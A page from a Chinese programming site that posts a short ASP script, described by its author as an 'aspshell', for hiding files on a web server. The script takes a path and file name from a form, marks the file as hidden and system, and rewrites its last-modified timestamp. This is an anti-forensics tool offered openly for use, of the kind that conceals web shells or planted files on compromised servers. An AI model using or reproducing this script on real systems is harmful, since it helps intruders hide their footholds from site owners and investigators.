程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 編程語言 >> 網頁編程 >> ASP編程 >> 關於ASP編程 >> 隱藏修改文件時間和文件屬性的ASP腳本

隱藏修改文件時間和文件屬性的ASP腳本

編輯:關於ASP編程
復制代碼 代碼如下:
<%
'隱藏並修改文件的最後修改時間的aspshell
'原理:通過FSO可以修改文件的屬性,比如設置為只讀,隱藏,系統等等;FSO中的attributes屬性修改文件屬性,1只讀,2隱藏,4系統文件
' 通過shell.application可以給文件重新設置一個最後修改時間
'2009/02/24 write by skyfire
response.write "<form method=post>"
response.write "路    徑:<input name=path value='"&server.mappath("/")&"' size='30'>(一定要以\結尾)<br />"
response.write "文件名稱:<input name=filename value='test.txt' size='30'><br />"
response.write "修改時間:<input name=time value='12/30/2099 12:30:30' size='30'><br />"
response.write "<input type=submit value=修改並隱藏文件>"
response.write "</form>"

'獲取提交的參數
set path=request.Form("path")
set fileName=request.Form("filename")
set newTime=request.Form("time")

if( (len(path)>0)and(len(fileName)>0)and(len(newTime)>0) )then

'通過fso設置文件屬性
Set fso=Server.CreateObject("Scripting.FileSystemObject")
Set file=fso.getFile(path&fileName)
file.attributes=2+4 '設置文件屬性為隱藏+系統

'通過shell.Application修改文件的最後修改時間
Set shell=Server.CreateObject("Shell.Application")
Set app_path=shell.NameSpace(server.mappath("."))
Set app_file=app_path.ParseName(fileName)
app_file.Modifydate=newTime

end if
%>
  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved